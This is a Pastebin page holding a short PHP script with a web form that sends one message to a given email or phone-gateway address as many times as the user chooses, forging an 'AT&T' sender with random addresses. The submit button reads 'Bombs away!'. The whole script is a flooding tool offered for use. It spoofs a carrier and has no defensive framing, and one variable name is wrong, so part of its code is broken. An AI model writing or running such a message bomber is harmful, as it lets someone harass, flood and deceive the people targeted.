Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- if (isset($_POST['bomb']) && isset($_POST['phone']) && !empty($_POST['phone']) && isset($_POST['msg']) && !empty($_POST['msg']) && isset($_POST['subject']) && !empty($_POST['subject']) && isset($_POST['numbertimes']) && !empty($_POST['numbertimes'])) {
- $i = 0;
- $times_to_run = $_POST['numbertimes'];
- $msg = $_POST['msg'];
- $number = $_POST['phone'];
- $subject = $_POST['subject'];
- $mailarray = ['hotmail', 'gmail', 'outlook', 'ymail', 'ibombedu'];
- $k = array_rand($mailarray);
- $v = $array[$k];
- $from = "AT&T <".emailGenerator(rand(1, 50))."@$v.com>";
- //$from = "AT&T <bomber@ibombedu.com>";
- $headers = "From: $from";
- while ($i++ < $times_to_run)
- {
- if(mail($number, $subject, $msg, $headers)) {
- echo "Sent msg";
- }
- }
- }
- function emailGenerator($length = 10) {
- $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
- $charactersLength = strlen($characters);
- $randomString = '';
- for ($i = 0; $i < $length; $i++) {
- $randomString .= $characters[rand(0, $charactersLength - 1)];
- }
- return $randomString;
- }
- ?>
- <form method="POST" action="">
- <input type="number" name="numbertimes" placeholder="number of times to run">
- <input type="text" name="phone" placeholder="email">
- <input type="text" name="subject" placeholder="subject">
- <textarea name="msg" placeholder="message"></textarea>
- <input type="submit" name="bomb" value="Bombs away!">
- </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement